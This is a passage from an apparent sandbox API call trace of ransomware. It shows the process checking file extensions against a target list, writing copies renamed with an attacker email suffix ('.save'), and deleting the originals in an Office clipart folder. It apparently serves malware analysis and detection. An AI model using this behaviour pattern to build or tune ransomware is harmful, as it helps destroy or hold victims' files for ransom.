(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0067.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0067.687] lstrlenW (lpString=".doc") returned 4 [0067.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.687] lstrlenW (lpString=".docx") returned 5 [0067.687] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0067.687] lstrlenW (lpString=".pdf") returned 4 [0067.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.687] lstrlenW (lpString=".xls") returned 4 [0067.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.687] lstrlenW (lpString=".xlsx") returned 5 [0067.687] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0067.687] lstrlenW (lpString=".ppt") returned 4 [0067.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0067.687] lstrlenW (lpString=".zip") returned 4 [0067.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.687] lstrlenW (lpString=".rar") returned 4 [0067.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.687] lstrlenW (lpString=".bz2") returned 4 [0067.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.688] lstrlenW (lpString=".7z") returned 3 [0067.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0067.688] lstrlenW (lpString=".dbf") returned 4 [0067.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0067.688] lstrlenW (lpString=".1cd") returned 4 [0067.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0067.688] lstrlenW (lpString=".jpg") returned 4 [0067.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.689] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.689] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0067.689] GetLastError () returned 0x0 [0067.689] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x532, lpOverlapped=0x0) returned 1 [0067.691] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x540, lpOverlapped=0x0) returned 1 [0067.692] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.692] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.692] SetEndOfFile (hFile=0x314) returned 1 [0067.693] CloseHandle (hObject=0x314) returned 1 [0067.694] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.694] SetEndOfFile (hFile=0x378) returned 1 [0067.695] CloseHandle (hObject=0x378) returned 1 [0067.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0067.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0067.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0067.696] lstrlenW (lpString=".doc") returned 4 [0067.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.696] lstrlenW (lpString=".docx") returned 5 [0067.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.696] lstrlenW (lpString=".pdf") returned 4 [0067.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.696] lstrlenW (lpString=".xls") returned 4 [0067.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.697] lstrlenW (lpString=".xlsx") returned 5 [0067.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.697] lstrlenW (lpString=".ppt") returned 4 [0067.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0067.697] lstrlenW (lpString=".zip") returned 4 [0067.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.697] lstrlenW (lpString=".rar") returned 4 [0067.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.697] lstrlenW (lpString=".bz2") returned 4 [0067.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.697] lstrlenW (lpString=".7z") returned 3 [0067.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0067.697] lstrlenW (lpString=".dbf") returned 4 [0067.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0067.697] lstrlenW (lpString=".1cd") returned 4 [0067.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0067.697] lstrlenW (lpString=".jpg") returned 4 [0067.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0067.698] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.699] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0067.700] GetLastError () returned 0x0 [0067.700] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x5a4, lpOverlapped=0x0) returned 1 [0067.701] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0067.702] ReadFile (in: hFile=0x378, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.703] WriteFile (in: hFile=0x314, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0067.703] SetEndOfFile (hFile=0x314) returned 1 [0067.703] CloseHandle (hObject=0x314) returned 1 [0067.704] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.704] SetEndOfFile (hFile=0x378) returned 1 [0067.705] CloseHandle (hObject=0x378) returned 1 [0067.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0067.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0067.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0067.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0067.706] lstrlenW (lpString=".doc") returned 4 [0067.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0067.706] lstrlenW (lpString=".docx") returned 5 [0067.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0067.706] lstrlenW (lpString=".pdf") returned 4 [0067.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0067.706] lstrlenW (lpString=".xls") returned 4 [0067.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0067.707] lstrlenW (lpString=".xlsx") returned 5 [0067.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0067.707] lstrlenW (lpString=".ppt") returned 4 [0067.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0067.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0067.707] lstrlenW (lpString=".zip") returned 4 [0067.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0067.707] lstrlenW (lpString=".rar") returned 4 [0067.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0067.707] lstrlenW (lpString=".bz2") returned 4 [0067.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0067.707] lstrlenW (lpString=".7z") returned 3 [0067.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0067.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0067.707] lstrlenW (lpString=".dbf") returned 4 [0067.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0067.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0067.707] lstrlenW (lpString=".1cd") returned 4 [0067.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0067.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0067.707] lstrlenW (lpString=".jpg") returned 4 [0067.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.129] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.169] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.174] GetLastError () returned 0x0 [0068.174] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1f26, lpOverlapped=0x0) returned 1 [0068.176] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0068.177] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.177] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.177] SetEndOfFile (hFile=0x378) returned 1 [0068.178] CloseHandle (hObject=0x378) returned 1 [0068.179] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.179] SetEndOfFile (hFile=0x2f8) returned 1 [0068.180] CloseHandle (hObject=0x2f8) returned 1 [0068.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0068.181] lstrlenW (lpString=".doc") returned 4 [0068.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.181] lstrlenW (lpString=".docx") returned 5 [0068.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.181] lstrlenW (lpString=".pdf") returned 4 [0068.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.181] lstrlenW (lpString=".xls") returned 4 [0068.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.181] lstrlenW (lpString=".xlsx") returned 5 [0068.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.181] lstrlenW (lpString=".ppt") returned 4 [0068.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0068.181] lstrlenW (lpString=".zip") returned 4 [0068.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.182] lstrlenW (lpString=".rar") returned 4 [0068.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.182] lstrlenW (lpString=".bz2") returned 4 [0068.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.182] lstrlenW (lpString=".7z") returned 3 [0068.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0068.182] lstrlenW (lpString=".dbf") returned 4 [0068.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0068.182] lstrlenW (lpString=".1cd") returned 4 [0068.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0068.182] lstrlenW (lpString=".jpg") returned 4 [0068.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.183] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.183] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.183] GetLastError () returned 0x0 [0068.183] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0068.185] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0068.186] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.186] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.186] SetEndOfFile (hFile=0x378) returned 1 [0068.186] CloseHandle (hObject=0x378) returned 1 [0068.188] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.188] SetEndOfFile (hFile=0x2f8) returned 1 [0068.189] CloseHandle (hObject=0x2f8) returned 1 [0068.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0068.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0068.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0068.190] lstrlenW (lpString=".doc") returned 4 [0068.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.190] lstrlenW (lpString=".docx") returned 5 [0068.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.190] lstrlenW (lpString=".pdf") returned 4 [0068.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.190] lstrlenW (lpString=".xls") returned 4 [0068.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.190] lstrlenW (lpString=".xlsx") returned 5 [0068.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.190] lstrlenW (lpString=".ppt") returned 4 [0068.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0068.190] lstrlenW (lpString=".zip") returned 4 [0068.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.190] lstrlenW (lpString=".rar") returned 4 [0068.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.190] lstrlenW (lpString=".bz2") returned 4 [0068.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.190] lstrlenW (lpString=".7z") returned 3 [0068.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0068.190] lstrlenW (lpString=".dbf") returned 4 [0068.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0068.190] lstrlenW (lpString=".1cd") returned 4 [0068.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0068.191] lstrlenW (lpString=".jpg") returned 4 [0068.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.191] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.191] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0068.192] GetLastError () returned 0x0 [0068.192] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0068.193] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0068.194] ReadFile (in: hFile=0x2f8, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.194] WriteFile (in: hFile=0x378, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.194] SetEndOfFile (hFile=0x378) returned 1 [0068.194] CloseHandle (hObject=0x378) returned 1 [0068.196] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.196] SetEndOfFile (hFile=0x2f8) returned 1 [0068.197] CloseHandle (hObject=0x2f8) returned 1 [0068.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0068.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0068.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0068.198] lstrlenW (lpString=".doc") returned 4 [0068.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.198] lstrlenW (lpString=".docx") returned 5 [0068.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.198] lstrlenW (lpString=".pdf") returned 4 [0068.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.199] lstrlenW (lpString=".xls") returned 4 [0068.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.199] lstrlenW (lpString=".xlsx") returned 5 [0068.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.199] lstrlenW (lpString=".ppt") returned 4 [0068.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0068.199] lstrlenW (lpString=".zip") returned 4 [0068.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.199] lstrlenW (lpString=".rar") returned 4 [0068.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.199] lstrlenW (lpString=".bz2") returned 4 [0068.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.199] lstrlenW (lpString=".7z") returned 3 [0068.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0068.199] lstrlenW (lpString=".dbf") returned 4 [0068.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0068.199] lstrlenW (lpString=".1cd") returned 4 [0068.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0068.200] lstrlenW (lpString=".jpg") returned 4 [0068.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.200] SetFilePointerEx (in: hFile=0x2f8, 